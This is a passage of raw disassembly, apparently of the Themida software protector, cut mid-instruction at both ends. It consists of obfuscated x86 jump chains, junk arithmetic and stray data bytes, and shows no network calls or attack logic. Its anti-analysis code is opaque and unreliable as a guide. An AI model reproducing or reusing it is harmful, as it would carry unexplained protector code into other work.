0B463EC6Eh jmp loc_5A198F ; --------------------------------------------------------------------------- loc_5AC62E: ; CODE XREF: Themida_:005AD522j push edx mov edx, 3C3F46A4h push eax mov eax, 56FFFF7h sub edx, eax jmp loc_59F36E ; --------------------------------------------------------------------------- loc_5AC641: ; CODE XREF: Themida_:005AF8DDj pop edx push dword ptr [esp] jmp loc_5AC2DA ; --------------------------------------------------------------------------- loc_5AC64A: ; CODE XREF: Themida_:005A8483j neg ecx or ecx, 40D61BFEh xor ecx, 0C0D69BFBh jmp loc_5AA4F3 ; --------------------------------------------------------------------------- loc_5AC65D: ; CODE XREF: Themida_:0059D454j pop eax push esi mov esi, 78BE783Eh neg esi xor esi, 2A980B78h not esi or esi, 55DB3DD3h add esi, 9D4074CEh xor ebx, esi pop esi mov edi, ebx pop ebx jmp loc_59D3AA ; --------------------------------------------------------------------------- byte_5AC685 db 31h, 3Ch, 24h ; DATA XREF: Themida_:00598828o dd 31243C33h, 0EC83243Ch, 240C8904h, 266368h, 0DB78E900h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AC69E: ; CODE XREF: Themida_:005A4492j pop ebx jmp loc_59D62C ; --------------------------------------------------------------------------- loc_5AC6A4: ; CODE XREF: Themida_:005A20E3j sub eax, 0B6566CC3h add ebp, eax jmp loc_5A0DEE ; --------------------------------------------------------------------------- loc_5AC6B0: ; CODE XREF: Themida_:005A1D89j mov ebp, esp push ebx mov ebx, 2BCD1DF6h sub ebx, 61075AFBh add ebx, 353A3D09h add ebp, ebx pop ebx push 59C7h mov [esp], ebx mov ebx, 1825047Ch or ebx, 3F300E40h jo loc_5A76D1 sub ebx, 39B30B1Fh xor ebx, 167F5288h jnp loc_5A052A dec ebx xor ebx, 13FD51D0h mov ah, 0D8h loc_5AC6FC: ; CODE XREF: Themida_:0059A579j push dword ptr [esp] pop edi push 3740h jmp loc_59D33B ; --------------------------------------------------------------------------- loc_5AC70A: ; CODE XREF: Themida_:005A8612j sub esp, 4 mov [esp], esi jmp loc_5AC13B ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 3839E954h, 0C868FFFFh, 0E9000049h, 0FFFEF633h, 0BD55D729h dd 67CE228Dh, 2C8BEF01h, 4C48124h, 0E9000000h, 0FFFEDE31h ; --------------------------------------------------------------------------- loc_5AC740: ; CODE XREF: Themida_:005AD1A7j mov esi, ebx pop ebx push 380Ch mov [esp], edi mov edi, 52832B0h shr edi, 3 jmp loc_5A99DC ; --------------------------------------------------------------------------- loc_5AC758: ; CODE XREF: Themida_:005AD235j pop eax xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], esi mov esi, 9D75AC0h dec esi js loc_5AC500 add esi, 5161211Ch mov ebp, esi mov esi, [esp] add esp, 4 sub edi, 1FEA3B7Bh sub edi, 65AF539Fh jmp loc_59DCEB ; --------------------------------------------------------------------------- db 33h, 3Ch, 24h dd 0E924248Bh, 0FFFFAD5Bh ; --------------------------------------------------------------------------- loc_5AC79C: ; CODE XREF: Themida_:0059D4DEj push ebp jmp loc_5AFDC3 ; --------------------------------------------------------------------------- loc_5AC7A2: ; CODE XREF: Themida_:005A2AADj add [esp+4], ecx add dword ptr [esp+4], 638782Dh mov ecx, [esp] jmp loc_5A7DA2 ; --------------------------------------------------------------------------- dw 8AE9h dd 89FFFF5Dh, 71A6E9E3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AC7C2: ; CODE XREF: Themida_:005A9E12j imul cl movzx cx, ah jmp loc_5AD02A ; --------------------------------------------------------------------------- loc_5AC7CD: ; CODE XREF: Themida_:005ABCE3j sub edi, 1179667Eh jmp loc_5AE7C5 ; --------------------------------------------------------------------------- dd 0E904C483h, 0FFFFE729h ; --------------------------------------------------------------------------- loc_5AC7E0: ; CODE XREF: Themida_:0059B52Dj pop bx push edx mov dh, ah mov bl, dh mov edx, [esp] add esp, 4 pop eax and bl, 6Bh jb loc_5AB5A7 and bl, 0F8h ja loc_5A7CE0 or bl, 95h jmp loc_5A3E2A ; --------------------------------------------------------------------------- dd 89243C89h, 0CF8155FAh, 4CF072AFh, 0FF79EDE9h db 0FFh ; --------------------------------------------------------------------------- loc_5AC819: ; CODE XREF: Themida_:0059B37Fj mov ebx, 152BDh sub esi, ebx pop ebx add eax, 77316277h sub eax, esi jmp loc_59C223 ; --------------------------------------------------------------------------- loc_5AC82D: ; CODE XREF: Themida_:005A4F89j mov ebx, 0B3D4FEDh or ebx, 61F211FFh dec ebx jmp loc_5A50E2 ; --------------------------------------------------------------------------- dw 3C8Bh dd 4C48124h, 0E9000000h, 4Fh ; --------------------------------------------------------------------------- loc_5AC84C: ; CODE XREF: Themida_:005A3FBEj add edx, edi pop edi jmp loc_5AA5A8 ; --------------------------------------------------------------------------- loc_5AC854: ; CODE XREF: Themida_:0059BF4Ej sub esp, 4 mov [esp], ecx mov ch, 0CCh xor ch, 0D6h jmp loc_5A2C94 ; --------------------------------------------------------------------------- loc_5AC864: ; CODE XREF: Themida_:005A6A4Fj push dword ptr [esp+4] push dword ptr [esp] jmp loc_59BDFD ; --------------------------------------------------------------------------- dd 7630EF81h, 0FD29DD30h, 81243C8Bh, 4C4h, 6276E900h, 0E1C1FFFFh dd 36880F08h, 81FFFF85h, 824304C1h, 89CA8902h, 1DE89F3h dd 343359CEh, 11B0E924h db 2 dup(0FFh) word_5AC8A6 dw 6866h ; DATA XREF: Themida_:00598750o dd 0F1E90585h db 83h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AC8AF: ; CODE XREF: Themida_:005A2CD2j jmp loc_59A176 ; --------------------------------------------------------------------------- loc_5AC8B4: ; CODE XREF: Themida_:005A1DBBj jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AC8B9: ; CODE XREF: Themida_:00599FEDj sub edi, 4 push edi jmp loc_59A3B8 ; --------------------------------------------------------------------------- loc_5AC8C5: ; CODE XREF: Themida_:0059A6AAj ; Themida_:0059F304j add esp, 2 pop small word ptr [esp] push small 4691h mov [esp], cx push small 340Fh jmp loc_5A8048 ; --------------------------------------------------------------------------- loc_5AC8DD: ; CODE XREF: Themida_:0059D865j sub esi, 7446563Eh push dword ptr [esp] pop ebx add esp, 4 push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], edx jmp loc_5ADF5E ; --------------------------------------------------------------------------- loc_5AC905: ; CODE XREF: Themida_:005A05F8j mov bh, 55h add ch, bh pop ebx xor al, ch jmp loc_59E9F4 ; --------------------------------------------------------------------------- db 89h, 0D0h, 89h dd 0A35AE9C5h, 0E95CFFFFh, 0FFFEC083h ; --------------------------------------------------------------------------- loc_5AC920: ; CODE XREF: Themida_:005A7906j inc eax push ebp mov ebp, 3D785012h jmp loc_5AD57C ; --------------------------------------------------------------------------- loc_5AC92C: ; CODE XREF: Themida_:005A42DDj jmp loc_5ADED5 ; --------------------------------------------------------------------------- loc_5AC931: ; CODE XREF: Themida_:005A730Dj push ecx mov ecx, esp add ecx, 4 jmp loc_598BBE ; --------------------------------------------------------------------------- byte_5AC93F db 66h ; DATA XREF: Themida_:0059877Co dd 68240C8Bh, 59A2h, 0E9240489h, 22DBh ; --------------------------------------------------------------------------- loc_5AC950: ; CODE XREF: Themida_:005A8D27j sub esp, 4 mov [esp], ecx jmp loc_5992CC ; --------------------------------------------------------------------------- loc_5AC95E: ; CODE XREF: Themida_:005AF957j xor dh, 0EAh xor al, dh pop edx sub esp, 4 jmp loc_59D9A3 ; --------------------------------------------------------------------------- loc_5AC96F: ; CODE XREF: Themida_:005A9C98j pop ebx add ebx, 6CAA3643h jbe loc_5AFA1E shl ebx, 1 jnp loc_5AF0BF add ebx, 26680828h jb loc_5AC622 add esp, 4 add esi, ecx mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_5AD8D8 ; --------------------------------------------------------------------------- dd 81E18951h, 4C1h, 0DCDDE900h, 4401FFFEh, 44810424h, 387F0424h dd 5B584B62h, 14AB68h, 243C8900h, 0D203E955h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AC9D6: ; CODE XREF: Themida_:0059C309j mov edx, [esp] push ebx push esp jmp loc_5AAA49 ; --------------------------------------------------------------------------- loc_5AC9E0: ; CODE XREF: Themida_:005AA27Bj add ebx, edx pop edx xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp add ebx, ebp pop ebp sub esp, 4 mov [esp], edx mov edx, 4 add ebx, 361D163Bh add ebx, edx jmp loc_5A3A21 ; --------------------------------------------------------------------------- loc_5ACA08: ; CODE XREF: Themida_:005A36C0j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx add edx, 4 push eax push ebx push 4 pop ebx mov eax, ebx pop ebx add edx, eax jmp loc_59D2E6 ; --------------------------------------------------------------------------- db 0F7h dd 5709E9DFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ACA32: ; CODE XREF: Themida_:005ABB66j sub dword ptr [esp], 71906020h add dword ptr [esp], 3FD74AC2h jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5ACA45: ; CODE XREF: Themida_:005A4C66j mov edi, edx mov edx, [esp] add esp, 4 add edi, 7EB139Ah not edi jmp loc_59CCF0 ; --------------------------------------------------------------------------- loc_5ACA5D: ; CODE XREF: Themida_:0059EBA4j push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_59974A ; --------------------------------------------------------------------------- loc_5ACA71: ; CODE XREF: Themida_:005A530Aj mov [esp], esp jmp loc_59C8AF ; --------------------------------------------------------------------------- loc_5ACA79: ; CODE XREF: Themida_:005AE9D8j add [esp+4], edi jmp loc_5A5C41 ; --------------------------------------------------------------------------- dw 29E9h db 0EEh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5ACA87: ; CODE XREF: Themida_:0059E6D8j push edi mov edi, 6A75A8Bh mov edx, 30C12DCBh jmp loc_59E950 ; --------------------------------------------------------------------------- db 89h dd 243C8BF9h, 4C481h, 52530000h, 791509BAh, 26C3BB76h dd 0D301D82Ch, 0E9D9315Ah, 0FFFFBD4Fh ; --------------------------------------------------------------------------- loc_5ACAB8: ; CODE XREF: Themida_:005A4830j sub bx, cx jmp loc_59C40B ; --------------------------------------------------------------------------- loc_5ACAC0: ; CODE XREF: Themida_:005AF8F6j sub edi, 0BBB7035h sub edi, ecx jmp loc_5AF334 ; --------------------------------------------------------------------------- loc_5ACACD: ; CODE XREF: Themida_:005AD1F6j mov eax, 4 jmp loc_5AF20F ; --------------------------------------------------------------------------- loc_5ACAD7: ; CODE XREF: Themida_:0059B35Fj sub ebx, 607F1024h add ebx, edi push edx mov edx, 640F4C1Ah jmp loc_59C0FB ; --------------------------------------------------------------------------- dw 0FDBFh dd 5560816Eh, 505C13BDh, 12E6BE04h, 0EE015C31h, 0E9FE315Dh dd 0FFFF6922h ; --------------------------------------------------------------------------- loc_5ACB04: ; CODE XREF: Themida_:005A37BCj xor ebp, 56067226h add edx, ebp mov ebp, [esp] push 1FE0h mov [esp], edi push esp jmp loc_59E573 ; --------------------------------------------------------------------------- loc_5ACB1D: ; CODE XREF: Themida_:0059DBCDj mov edx, 4EF11EAFh mov edi, edx jmp loc_59A6A6 ; --------------------------------------------------------------------------- loc_5ACB29: ; CODE XREF: Themida_:005991A9j pop ebp jmp loc_5A11D3 ; --------------------------------------------------------------------------- db 35h dd 5F273921h, 0FEDED9E9h db 0FFh ; --------------------------------------------------------------------------- loc_5ACB39: ; CODE XREF: Themida_:00599B60j and edi, 5EE769F1h sub edi, 5EE521EFh jmp loc_5A5812 ; --------------------------------------------------------------------------- loc_5ACB4A: ; CODE XREF: Themida_:005A5AF8j mov esi, esp add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp xchg ecx, [esp] mov esp, [esp] mov [esp], ebx mov ebx, esp add ebx, 4 push edi push ebx push 6865C7Ah pop ebx shl ebx, 3 jnz loc_599B40 push eax mov eax, 1C4472A4h sub ebx, eax pop eax jmp loc_5A5E44 ; --------------------------------------------------------------------------- loc_5ACB8F: ; CODE XREF: Themida_:0059F106j push 7FC3h mov [esp], ebp jmp loc_5AA365 ; --------------------------------------------------------------------------- loc_5ACB9C: ; CODE XREF: Themida_:005A9A69j sub dword ptr [esp+4], 1F7C7080h jmp loc_5A6821 ; --------------------------------------------------------------------------- loc_5ACBA9: ; CODE XREF: Themida_:005A8E58j xor ebp, 5410B164h push ebp pop ebx pop ebp sub ebp, ebx pop ebx xor ebp, [esp] jmp loc_5A5CB7 ; --------------------------------------------------------------------------- byte_5ACBBD db 52h, 53h, 0E9h ; DATA XREF: Themida_:0059887Co dd 0FFFFA779h ; --------------------------------------------------------------------------- loc_5ACBC4: ; CODE XREF: Themida_:005A845Fj push edi jmp loc_59C584 ; --------------------------------------------------------------------------- dw 2C8Bh dd 4EC8124h, 89000000h, 0E0892404h, 0FED2E2E9h, 0E95DFFh db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_5ACBE3: ; CODE XREF: Themida_:005A805Cj add al, 0E9h push edx mov dl, 0D6h jmp loc_59E137 ; --------------------------------------------------------------------------- loc_5ACBED: ; CODE XREF: Themida_:005AFA7Ej pop esp mov [esp], esi mov ebp, [esp] add esp, 4 jmp loc_5AB4F7 ; --------------------------------------------------------------------------- loc_5ACBFC: ; CODE XREF: Themida_:005ABC5Aj add ebx, 0FB3C8468h add ebp, ebx jmp loc_5AD430 ; --------------------------------------------------------------------------- loc_5ACC09: ; CODE XREF: Themida_:0059BF9Cj pop edx jmp loc_59F286 ; --------------------------------------------------------------------------- loc_5ACC0F: ; CODE XREF: Themida_:005AB435j jbe loc_5AEA54 xor ebx, 1C2253A0h jl loc_5AEE4F sub ebx, 17729FB3h mov [edi+20h], ebx mov ebx, [esp] jmp loc_599AF3 ; --------------------------------------------------------------------------- loc_5ACC32: ; CODE XREF: Themida_:005A31DFj sub ebp, 0B50B9E1Eh sub eax, ebp pop ebp sub eax, edi add eax, 4AFC1603h jmp loc_5AC0DC ; --------------------------------------------------------------------------- loc_5ACC47: ; CODE XREF: Themida_:005AB65Aj mov edx, 6C9B2D31h shr edx, 8 jz loc_5A44BE xor edx, 5EE61538h jmp loc_59957C ; --------------------------------------------------------------------------- loc_5ACC60: ; CODE XREF: Themida_:005A3222j add esi, ebp jmp loc_5A31F6 ; --------------------------------------------------------------------------- loc_5ACC67: ; CODE XREF: Themida_:005A64F0j add edx, ecx pop ecx add edx, 4 xchg edx, [esp] pop esp push ebp jmp loc_59B4B8 ; --------------------------------------------------------------------------- loc_5ACC77: ; CODE XREF: Themida_:0059C406j push ecx mov ecx, 397E7865h jmp loc_5A92A5 ; --------------------------------------------------------------------------- loc_5ACC82: ; CODE XREF: Themida_:005A43E6j or dl, bh pop ebx xor dl, 5Dh sub dl, 6 add dl, 7Ah jmp loc_59F7BE ; --------------------------------------------------------------------------- loc_5ACC93: ; CODE XREF: Themida_:005A24EEj xor ebx, [esp] mov esp, [esp] push edx mov edx, esp sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebx mov ebx, 4 add edx, 4BC32BCBh add edx, 561A5C24h add edx, ebx push ebp push ebx mov ebx, 6AC50781h sub ebx, 7A3373BFh jbe loc_5A8BCD neg ebx dec ebx neg ebx jmp loc_59F32F ; --------------------------------------------------------------------------- loc_5ACCE6: ; CODE XREF: Themida_:005A544Cj push ecx jmp loc_5AF142 ; --------------------------------------------------------------------------- loc_5ACCEC: ; CODE XREF: Themida_:0059A7C5j push 574Bh mov [esp], eax jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5ACCF9: ; CODE XREF: Themida_:0059EFC7j mov ebp, eax pop eax pop ecx push 0FD6h mov [esp], ecx push edx push 220D6B0Dh jmp loc_5A2E02 ; --------------------------------------------------------------------------- loc_5ACD10: ; CODE XREF: Themida_:005A6005j mov ecx, [esp] add esp, 4 jmp loc_5A5132 ; --------------------------------------------------------------------------- byte_5ACD1B db 64h ; DATA XREF: Themida_:00598930o dd 80E9028Fh db 0BCh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5ACD23: ; CODE XREF: Themida_:005A9FF2j xchg ebx, [esp] pop esp jmp loc_59FC1E ; --------------------------------------------------------------------------- loc_5ACD2C: ; CODE XREF: Themida_:loc_5A8DBDj add bh, 0DEh mov dl, bh jmp loc_59C087 ; --------------------------------------------------------------------------- loc_5ACD36: ; CODE XREF: Themida_:005A0D88j push edx jmp loc_5A1CC1 ; --------------------------------------------------------------------------- dd 0FEBC62E9h, 499B68FFh, 14890000h, 2C7D6824h, 1C890000h dd 2589BB24h, 4FE936C6h db 0D5h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5ACD5B: ; CODE XREF: Themida_:0059A537j jnp loc_59EAF4 neg ecx jl loc_59CBD0 jmp loc_5A9896 ; --------------------------------------------------------------------------- dw 0C583h dd 83E38004h, 76476856h, 3C890000h, 0B1BD5524h, 0BF038B26h dd 0FC74D953h, 7C02C781h, 0EF81609Fh, 50DF3580h, 0C781EF01h dd 50DF3580h, 7C02EF81h, 2C8B609Fh, 4C48124h, 1000000h dd 56555FFBh, 0FF69DDE9h db 0FFh ; --------------------------------------------------------------------------- loc_5ACDB5: ; CODE XREF: Themida_:005A30D4j mov [esp], edi mov edi, esp push 0EB6h mov [esp], edx jmp loc_59A89D ; --------------------------------------------------------------------------- loc_5ACDC7: ; CODE XREF: Themida_:005A648Aj mov [esp], edx jmp loc_5A0DB0 ; --------------------------------------------------------------------------- loc_5ACDCF: ; CODE XREF: Themida_:005A8858j inc esi sub esi, 3D1E7FF8h add ebx, esi pop esi xchg ebx, [esp] mov esp, [esp] push ebx jmp loc_5A1BAA ; --------------------------------------------------------------------------- db 5Ah, 31h, 0C8h dd 8B2434FFh, 0C483240Ch, 0CDE95304h db 0F7h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5ACDF7: ; CODE XREF: Themida_:005A5A5Ej ; Themida_:005A7369j push ebp sub esp, 4 mov [esp], esp jmp loc_5A8FB4 ; --------------------------------------------------------------------------- loc_5ACE03: ; CODE XREF: Themida_:005A251Fj push ecx mov ecx, 50F67095h add [esp+4], ecx jmp loc_5AFA00 ; --------------------------------------------------------------------------- loc_5ACE12: ; CODE XREF: Themida_:005A1064j mov esp, [esp] jmp loc_5AF866 ; --------------------------------------------------------------------------- loc_5ACE1A: ; CODE XREF: Themida_:005A9CBFj mov cx, [esp] add esp, 2 push eax mov al, 49h add al, 10h sub bl, al jmp loc_5A8E27 ; --------------------------------------------------------------------------- align 2 dw 0E9FDh dd 0FFFF05A5h, 815BDE89h, 0E57EA7C3h, 0FE90E91Eh, 0DBF7FFFEh dd 0CC38143h, 9FA840Ah, 241C8BDFh, 0F704C483h, 286BE9DFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ACE5A: ; CODE XREF: Themida_:005A38E3j mov edi, esp add edi, 4 push eax mov eax, 6F4C55B5h jmp loc_5AE0F9 ; --------------------------------------------------------------------------- db 5Dh, 81h, 0E9h dd 5A2A2C81h, 0FF5F12E9h, 4C6468FFh, 72E94FF7h db 0D9h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5ACE83: ; CODE XREF: Themida_:005A6B50j mov esp, [esp] push 1F1Dh jmp loc_5AF6D0 ; --------------------------------------------------------------------------- dd 7E2AF681h, 0F1892089h, 56F9015Eh, 0E9515E54h, 0FFFF1AEAh dd 4E9EA01h db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_5ACEAB: ; CODE XREF: Themida_:0059FF94j mov ebx, [esp] sub esp, 4 mov [esp], eax mov eax, esp push edi mov edi, 4 add eax, edi pop edi jmp loc_59D4E3 ; --------------------------------------------------------------------------- dd 0C281E289h, 4, 8704C283h, 5C2414h, 830E2CD8h, 896602ECh dd 85E92414h, 56000028h, 6383CBEh, 15F68119h, 29516D31h dd 0E3C15EF3h, 0FD95E905h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5ACEFA: ; CODE XREF: Themida_:005A3724j pop esp push edx mov edx, 4 add edi, edx mov edx, [esp] jmp loc_5A9861 ; --------------------------------------------------------------------------- loc_5ACF0B: ; CODE XREF: Themida_:0059E019j pop esp mov cx, [esp] push esi mov esi, esp push eax mov eax, 0B2F4EB3h sub eax, 1 jmp loc_5ABFCC ; --------------------------------------------------------------------------- loc_5ACF21: ; CODE XREF: Themida_:0059E85Dj add esp, 4 add esp, 4 push 28F5h jmp loc_59FDB0 ; --------------------------------------------------------------------------- loc_5ACF34: ; CODE XREF: Themida_:005A5298j push ebp mov ebp, 46E35AEEh push eax push 41E55AD1h mov eax, [esp] add esp, 4 neg eax jb loc_5A9984 jmp loc_598FF8 ; --------------------------------------------------------------------------- dw 3433h dd 24248B24h db 88h, 0E4h ; --------------------------------------------------------------------------- loc_5ACF5E: ; CODE XREF: Themida_:005AB893j ; Themida_:005AEBF2j dec ah jnp loc_5A1BC7 jmp loc_59BF39 ; --------------------------------------------------------------------------- db 56h dd 1676857h, 0BA5F5C89h, 13092E5Ch, 92E5EB9h, 5AD13113h dd 0DE72BB2Dh, 55C8012Ah, 0FFCF1AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5ACF8D: ; CODE XREF: Themida_:005A741Fj sub ebp, edx pop edx push ecx mov ecx, ebp push ecx push ebp mov ebp, 50D5325Ch add [esp+4], ebp pop ebp mov eax, [esp] jmp loc_59E0FA ; --------------------------------------------------------------------------- loc_5ACFA7: ; CODE XREF: Themida_:005A7B67j mov ebp, [esp] jmp loc_5A1693 ; --------------------------------------------------------------------------- db 8Bh dd 0C481242Ch, 4, 0EA9E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ACFBE: ; CODE XREF: Themida_:005A7F4Fj xor edx, 3C185517h jmp loc_5AB353 ; --------------------------------------------------------------------------- db 81h, 0F3h, 0A4h dd 8106526Dh, 12C01C3h, 34C3817Ch, 531CD717h, 0F5255B58h dd 0C15B7B62h, 6DE907E0h db 0D9h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5ACFEB: ; CODE XREF: Themida_:005A6B84j xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] add ebx, 4 push edx mov edx, 4 jmp loc_59D9D4 ; --------------------------------------------------------------------------- loc_5AD008: ; CODE XREF: Themida_:loc_59C9D8j xor edx, 4791562Eh push edx jmp loc_59A7EE ; --------------------------------------------------------------------------- loc_5AD014: ; CODE XREF: Themida_:0059FA70j mov esi, [esp] add esp, 4 mov ebp, [esp] push 375Ah jmp loc_5A3D07 ; --------------------------------------------------------------------------- loc_5AD02A: ; CODE XREF: Themida_:005AC7C8j push ebx mov ebx, esp push edx jmp loc_5AE603 ; --------------------------------------------------------------------------- loc_5AD033: ; CODE XREF: Themida_:0059B4E3j xor edi, [esp] mov esp, [esp] add esi, 35C14C00h add esi, 45261EC8h push edx jmp loc_5AA25B ; --------------------------------------------------------------------------- loc_5AD04B: ; CODE XREF: Themida_:0059D514j jmp loc_59D2CC ; --------------------------------------------------------------------------- loc_5AD050: ; CODE XREF: Themida_:00599394j mov esp, [esp] shl byte ptr [esp], cl pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AD05C: ; CODE XREF: Themida_:005A3FACj shl ah, 1 jmp loc_5AEF08 ; --------------------------------------------------------------------------- loc_5AD063: ; CODE XREF: Themida_:005A51F7j and edx, 77B50859h jz loc_59B010 shr edx, 1 jmp loc_5A7BD6 ; --------------------------------------------------------------------------- loc_5AD076: ; CODE XREF: Themida_:005A3D35j pop edi push esi jmp loc_59D686 ; --------------------------------------------------------------------------- db 81h, 0E2h, 0BAh dd 0E91D696Bh, 0FFFFD61Bh ; --------------------------------------------------------------------------- loc_5AD088: ; CODE XREF: Themida_:005AECF6j pop ebx push ebp jmp loc_5A5AED ; --------------------------------------------------------------------------- loc_5AD08F: ; CODE XREF: Themida_:005AB7B2j sub al, 0DBh add al, 76h sub al, dh sub al, 76h add al, 0DBh mov edx, [esp] add esp, 4 push edx mov dl, 0DFh jmp loc_59D8A6 ; --------------------------------------------------------------------------- dw 0C083h dd 53ABE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AD0B2: ; CODE XREF: Themida_:005A5381j mov ebx, 50196C61h sub eax, ebx push dword ptr [esp] jmp loc_5A05DF ; --------------------------------------------------------------------------- db 81h, 0F2h, 62h dd 0F7722A4Eh, 56D2F7DAh, 2CCDE9h db 0 ; --------------------------------------------------------------------------- loc_5AD0D1: ; CODE XREF: Themida_:005AB5E2j pop ebp add ebx, 0F413C86h sub ebx, 9577FA9h jmp loc_5A10BE ; --------------------------------------------------------------------------- loc_5AD0E3: ; CODE XREF: Themida_:0059F26Dj mov ecx, 4 sub eax, ecx pop ecx xor eax, [esp] jmp loc_59E0E3 ; --------------------------------------------------------------------------- db 89h dd 0BF17E9F7h, 92E9FFFFh, 52FFFF69h, 28836851h, 515901E5h dd 0F7241487h, 241487D2h, 0A7C18159h, 5108B574h, 0C5240481h dd 8B69E947h, 75E92414h db 0CFh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AD127: ; CODE XREF: Themida_:0059EB36j add al, ch jmp loc_59B7DC ; --------------------------------------------------------------------------- loc_5AD12E: ; CODE XREF: Themida_:005A2C47j add eax, 264B5FFFh pop edi add eax, 77534501h jmp loc_5AFC44 ; --------------------------------------------------------------------------- word_5AD13E dw 8B66h ; DATA XREF: Themida_:005987C8o dd 0B968240Ch, 0E900003Ch, 0F5Ch ; --------------------------------------------------------------------------- loc_5AD14C: ; CODE XREF: Themida_:005AEF21j add edx, edi add edx, 167173Dh push 776Dh jmp loc_5A39D6 ; --------------------------------------------------------------------------- loc_5AD15E: ; CODE XREF: Themida_:005A270Bj push 4D7B00CBh jmp loc_5A1ABF ; --------------------------------------------------------------------------- dd 1669ED81h, 0C581A10Bh, 0A7C2976Dh, 5750C381h, 7E95335h dd 58FFFFDCh, 5C24048Fh, 0FF6E74E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AD189: ; CODE XREF: Themida_:0059BAC0j add esp, 4 push eax jmp loc_598DA6 ; --------------------------------------------------------------------------- loc_5AD195: ; CODE XREF: Themida_:005AEEACj sub ebx, 512F3119h add ebx, 542E4D11h add ebx, 157B8A4Bh jmp loc_5AC740 ; --------------------------------------------------------------------------- loc_5AD1AC: ; CODE XREF: Themida_:005AE001j xor [esp], edi jmp loc_5AB156 ; --------------------------------------------------------------------------- loc_5AD1B4: ; CODE XREF: Themida_:005A56BAj sub ebp, 8822E0Ch jmp loc_5999B6 ; --------------------------------------------------------------------------- db 81h dd 824304C1h, 0E9CA8902h, 0FFFFA1C8h, 47F5CA81h, 0EA815869h dd 1BBD73D3h, 564FF281h, 0D529FF4Fh, 0F34AE95Ah db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AD1E6: ; CODE XREF: Themida_:005A05BCj add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax jmp loc_5ACACD ; --------------------------------------------------------------------------- loc_5AD1FB: ; CODE XREF: Themida_:0059B14Cj push dword ptr [esp] pop ebx add esp, 4 and ecx, edi push dword ptr [esp] jmp loc_5A650A ; --------------------------------------------------------------------------- loc_5AD20C: ; CODE XREF: Themida_:005A3A4Ej add esp, 4 push ebx push 0A0Bh jmp loc_59C9EA ; --------------------------------------------------------------------------- loc_5AD21D: ; CODE XREF: Themida_:0059E800j push edi push esp jmp loc_5A1D4F ; --------------------------------------------------------------------------- dd 746C19BFh, 0E9FA295Ah, 0FFFF6A96h ; --------------------------------------------------------------------------- loc_5AD230: ; CODE XREF: Themida_:005A8E16j mov eax, ebx pop ebx sub esi, eax jmp loc_5AC758 ; --------------------------------------------------------------------------- loc_5AD23A: ; CODE XREF: Themida_:005A1DB3j xchg edx, ecx jmp loc_5A56D3 ; --------------------------------------------------------------------------- loc_5AD241: ; CODE XREF: Themida_:005A076Ej sub ebx, 0EB647CEh jmp loc_5A3F4B ; --------------------------------------------------------------------------- loc_5AD24C: ; CODE XREF: Themida_:005AF81Ej pop edx push ebx mov bl, ah jmp loc_5A2902 ; --------------------------------------------------------------------------- loc_5AD255: ; CODE XREF: Themida_:0059B316j mov ecx, esp add ecx, 4 sub ecx, 4 push ecx push dword ptr [esp+4] pop ecx jmp loc_5A0C02 ; --------------------------------------------------------------------------- loc_5AD26B: ; CODE XREF: Themida_:005A763Fj pop edx sub ebp, 4D883C50h add ebp, 3246068Dh shr ebp, 4 jmp loc_59D004 ; --------------------------------------------------------------------------- loc_5AD280: ; CODE XREF: Themida_:00599643j js loc_5A8903 sub esp, 4 mov [esp], eax mov eax, 5F3B31CAh shl eax, 1 mov [esp], ebx jmp loc_59BC5D ; --------------------------------------------------------------------------- loc_5AD29B: ; CODE XREF: Themida_:005A106Fj add esp, 2 add bl, ch push edx mov dl, 0BEh add bl, dl pop edx push ecx jmp loc_5AE353 ; --------------------------------------------------------------------------- db 0C1h dd 0C78105EFh, 0FDFDDD56h, 835FFE01h, 348704EEh, 2C895C24h dd 0D47BD24h, 0E5C17F6Dh, 0E9DDF706h, 0FFFFB9AAh, 5404EC83h dd 5224048Fh, 468h, 54015A00h, 148B0424h, 4C48124h, 0E9000000h dd 0FFFF6500h ; --------------------------------------------------------------------------- loc_5AD2F4: ; CODE XREF: Themida_:005A3744j pop ebx jmp loc_5A0473 ; --------------------------------------------------------------------------- dw 8741h dd 56D2F7CAh, 0A48806BEh, 0E9F2012Eh, 11BBh ; --------------------------------------------------------------------------- loc_5AD30C: ; CODE XREF: Themida_:005A772Ej pop ebx push dx jmp loc_5A3FC3 ; --------------------------------------------------------------------------- loc_5AD314: ; CODE XREF: 